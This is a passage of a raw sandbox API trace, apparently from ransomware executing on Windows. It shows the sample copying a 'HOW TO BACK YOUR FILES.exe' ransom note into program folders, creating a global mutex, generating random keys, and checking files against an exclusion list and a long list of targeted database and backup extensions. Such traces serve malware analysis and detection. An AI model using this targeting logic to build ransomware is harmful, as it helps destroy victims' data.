(HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.837] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.838] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.838] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.838] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1900, lpName=0x0) returned 0x154 [0090.839] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1900) returned 0x100000 [0090.841] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.842] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.842] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.842] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.842] CloseHandle (hObject=0x154) returned 1 [0090.843] CloseHandle (hObject=0x17c) returned 1 [0090.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.843] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0090.843] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0090.843] ReleaseMutex (hMutex=0xec) returned 1 [0090.843] CloseHandle (hObject=0xec) returned 1 [0090.843] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Media Player\\en-US" | out: lpString1="C:\\Program Files\\Windows Media Player\\en-US") returned="C:\\Program Files\\Windows Media Player\\en-US" [0090.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529130 | out: hHeap=0x4f0000) returned 1 [0090.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c410 | out: hHeap=0x4f0000) returned 1 [0090.843] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US") returned 43 [0090.843] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\903E4A027298F9CBC1A2CC56F5C31394") returned 0xec [0090.843] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0090.843] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\en-US" | out: lpString1="C:\\Program Files\\Windows Media Player\\en-US") returned="C:\\Program Files\\Windows Media Player\\en-US" [0090.843] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0090.844] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0090.844] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0090.844] GetLastError () returned 0x0 [0090.844] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0090.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0090.844] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0090.845] CloseHandle (hObject=0xf4) returned 1 [0090.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0090.845] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0090.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbfb71ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbfb71ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0090.846] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.846] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.846] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0090.846] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbfb71ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbfb71ca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.846] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.846] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.846] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0090.846] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0090.846] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfb71ca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbfb71ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0090.846] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0090.846] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".") returned 1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="..") returned 1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="windows") returned -1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="bootmgr") returned 1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="temp") returned -1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="pagefile.sys") returned -1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="boot") returned 1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="ids.txt") returned 1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="ntuser.dat") returned -1 [0090.846] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="perflogs") returned -1 [0090.847] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="MSBuild") returned -1 [0090.847] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0090.847] lstrcpyW (in: lpString1=0x241e8a0, lpString2="mpvis.dll.mui" | out: lpString1="mpvis.dll.mui") returned="mpvis.dll.mui" [0090.847] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0090.847] lstrlenW (lpString="Athena865") returned 9 [0090.847] lstrcmpiW (lpString1="s.dll.mui", lpString2="Athena865") returned 1 [0090.847] lstrlenW (lpString=".dll") returned 4 [0090.847] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".dll") returned 1 [0090.847] lstrlenW (lpString=".lnk") returned 4 [0090.847] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".lnk") returned 1 [0090.847] lstrlenW (lpString=".ini") returned 4 [0090.847] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".ini") returned 1 [0090.847] lstrlenW (lpString=".sys") returned 4 [0090.847] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".sys") returned 1 [0090.847] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0090.847] lstrlenW (lpString="bak") returned 3 [0090.847] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.847] lstrlenW (lpString="ba_") returned 3 [0090.847] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.847] lstrlenW (lpString="dbb") returned 3 [0090.847] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.847] lstrlenW (lpString="vmdk") returned 4 [0090.847] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.847] lstrlenW (lpString="rar") returned 3 [0090.847] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.847] lstrlenW (lpString="zip") returned 3 [0090.847] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.847] lstrlenW (lpString="tgz") returned 3 [0090.847] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.848] lstrlenW (lpString="vbox") returned 4 [0090.848] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.848] lstrlenW (lpString="vdi") returned 3 [0090.848] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.848] lstrlenW (lpString="vhd") returned 3 [0090.848] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.848] lstrlenW (lpString="vhdx") returned 4 [0090.848] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.848] lstrlenW (lpString="avhd") returned 4 [0090.848] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.848] lstrlenW (lpString="db") returned 2 [0090.848] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.848] lstrlenW (lpString="db2") returned 3 [0090.848] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.848] lstrlenW (lpString="db3") returned 3 [0090.848] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.848] lstrlenW (lpString="dbf") returned 3 [0090.848] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.848] lstrlenW (lpString="mdf") returned 3 [0090.848] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.848] lstrlenW (lpString="mdb") returned 3 [0090.848] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.848] lstrlenW (lpString="sql") returned 3 [0090.848] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.848] lstrlenW (lpString="sqlite") returned 6 [0090.848] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0090.848] lstrlenW (lpString="sqlite3") returned 7 [0090.848] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0090.848] lstrlenW (lpString="sqlitedb") returned 8 [0090.848] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0090.849] lstrlenW (lpString="xml") returned 3 [0090.849] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.849] lstrlenW (lpString="$er") returned 3 [0090.849] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.849] lstrlenW (lpString="4dd") returned 3 [0090.849] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.849] lstrlenW (lpString="4dl") returned 3 [0090.849] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.849] lstrlenW (lpString="^^^") returned 3 [0090.849] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.849] lstrlenW (lpString="abs") returned 3 [0090.849] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.849] lstrlenW (lpString="abx") returned 3 [0090.849] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.849] lstrlenW (lpString="accdb") returned 5 [0090.849] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0090.849] lstrlenW (lpString="accdc") returned 5 [0090.849] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0090.849] lstrlenW (lpString="accde") returned 5 [0090.849] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0090.849] lstrlenW (lpString="accdr") returned 5 [0090.849] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0090.849] lstrlenW (lpString="accdt") returned 5 [0090.849] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0090.849] lstrlenW (lpString="accdw") returned 5 [0090.849] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0090.849] lstrlenW (lpString="accft") returned 5 [0090.849] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0090.849] lstrlenW (lpString="adb") returned 3 [0090.849] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.849] lstrlenW (lpString="adb") returned 3 [0090.849] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.850] lstrlenW (lpString="ade") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.850] lstrlenW (lpString="adf") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.850] lstrlenW (lpString="adn") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.850] lstrlenW (lpString="adp") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.850] lstrlenW (lpString="alf") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.850] lstrlenW (lpString="ask") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.850] lstrlenW (lpString="btr") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.850] lstrlenW (lpString="cat") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.850] lstrlenW (lpString="cdb") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.850] lstrlenW (lpString="ckp") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.850] lstrlenW (lpString="cma") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.850] lstrlenW (lpString="cpd") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.850] lstrlenW (lpString="dacpac") returned 6 [0090.850] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0090.850] lstrlenW (lpString="dad") returned 3 [0090.850] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.850] lstrlenW (lpString="dadiagrams") returned 10 [0090.851] lstrcmpiW (lpString1="is.dll.mui", lpString2="dadiagrams") returned 1 [0090.851] lstrlenW (lpString="daschema") returned 8 [0090.851] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0090.851] lstrlenW (lpString="db-journal") returned 10 [0090.851] lstrcmpiW (lpString1="is.dll.mui", lpString2="db-journal") returned 1 [0090.851] lstrlenW (lpString="db-shm") returned 6 [0090.851] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0090.851] lstrlenW (lpString="db-wal") returned 6 [0090.851] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0090.851] lstrlenW (lpString="dbc") returned 3 [0090.851] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.851] lstrlenW (lpString="dbs") returned 3 [0090.851] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.851] lstrlenW (lpString="dbt") returned 3 [0090.851] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.851] lstrlenW (lpString="dbv") returned 3 [0090.851] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.851] lstrlenW (lpString="dbx") returned 3 [0090.851] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.851] lstrlenW (lpString="dcb") returned 3 [0090.851] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.851] lstrlenW (lpString="dct") returned 3 [0090.851] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0090.851] lstrlenW (lpString="dcx") returned 3 [0090.851] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0090.851] lstrlenW (lpString="ddl") returned 3 [0090.851] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0090.851] lstrlenW (lpString="dlis") returned 4 [0090.851] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0090.851] lstrlenW (lpString="dp1") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0090.852] lstrlenW (lpString="dqy") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0090.852] lstrlenW (lpString="dsk") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0090.852] lstrlenW (lpString="dsn") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0090.852] lstrlenW (lpString="dtsx") returned 4 [0090.852] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0090.852] lstrlenW (lpString="dxl") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0090.852] lstrlenW (lpString="eco") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0090.852] lstrlenW (lpString="ecx") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0090.852] lstrlenW (lpString="edb") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0090.852] lstrlenW (lpString="epim") returned 4 [0090.852] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0090.852] lstrlenW (lpString="fcd") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0090.852] lstrlenW (lpString="fdb") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0090.852] lstrlenW (lpString="fic") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0090.852] lstrlenW (lpString="flexolibrary") returned 12 [0090.852] lstrcmpiW (lpString1="pvis.dll.mui", lpString2="flexolibrary") returned 1 [0090.852] lstrlenW (lpString="fm5") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0090.852] lstrlenW (lpString="fmp") returned 3 [0090.852] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0090.853] lstrlenW (lpString="fmp12") returned 5 [0090.853] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0090.853] lstrlenW (lpString="fmpsl") returned 5 [0090.853] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0090.853] lstrlenW (lpString="fol") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0090.853] lstrlenW (lpString="fp3") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0090.853] lstrlenW (lpString="fp4") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0090.853] lstrlenW (lpString="fp5") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0090.853] lstrlenW (lpString="fp7") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0090.853] lstrlenW (lpString="fpt") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0090.853] lstrlenW (lpString="frm") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0090.853] lstrlenW (lpString="gdb") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.853] lstrlenW (lpString="gdb") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.853] lstrlenW (lpString="grdb") returned 4 [0090.853] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0090.853] lstrlenW (lpString="gwi") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0090.853] lstrlenW (lpString="hdb") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0090.853] lstrlenW (lpString="his") returned 3 [0090.853] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0090.853] lstrlenW (lpString="ib") returned 2 [0090.854] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0090.854] lstrlenW (lpString="idb") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0090.854] lstrlenW (lpString="ihx") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0090.854] lstrlenW (lpString="itdb") returned 4 [0090.854] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0090.854] lstrlenW (lpString="itw") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0090.854] lstrlenW (lpString="jet") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0090.854] lstrlenW (lpString="jtx") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0090.854] lstrlenW (lpString="kdb") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0090.854] lstrlenW (lpString="kexi") returned 4 [0090.854] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0090.854] lstrlenW (lpString="kexic") returned 5 [0090.854] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0090.854] lstrlenW (lpString="kexis") returned 5 [0090.854] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0090.854] lstrlenW (lpString="lgc") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0090.854] lstrlenW (lpString="lwx") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0090.854] lstrlenW (lpString="maf") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0090.854] lstrlenW (lpString="maq") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0090.854] lstrlenW (lpString="mar") returned 3 [0090.854] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0090.855] lstrlenW (lpString="marshal") returned 7 [0090.855] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0090.855] lstrlenW (lpString="mas") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0090.855] lstrlenW (lpString="mav") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0090.855] lstrlenW (lpString="maw") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0090.855] lstrlenW (lpString="mdbhtml") returned 7 [0090.855] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0090.855] lstrlenW (lpString="mdn") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0090.855] lstrlenW (lpString="mdt") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0090.855] lstrlenW (lpString="mfd") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0090.855] lstrlenW (lpString="mpd") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0090.855] lstrlenW (lpString="mrg") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0090.855] lstrlenW (lpString="mud") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0090.855] lstrlenW (lpString="mwb") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0090.855] lstrlenW (lpString="myd") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0090.855] lstrlenW (lpString="ndf") returned 3 [0090.855] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0090.855] lstrlenW (lpString="nnt") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0090.856] lstrlenW (lpString="nrmlib") returned 6 [0090.856] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0090.856] lstrlenW (lpString="ns2") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0090.856] lstrlenW (lpString="ns3") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0090.856] lstrlenW (lpString="ns4") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0090.856] lstrlenW (lpString="nsf") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0090.856] lstrlenW (lpString="nv") returned 2 [0090.856] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0090.856] lstrlenW (lpString="nv2") returned 3 [0090.856] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0090.856] lstrlenW 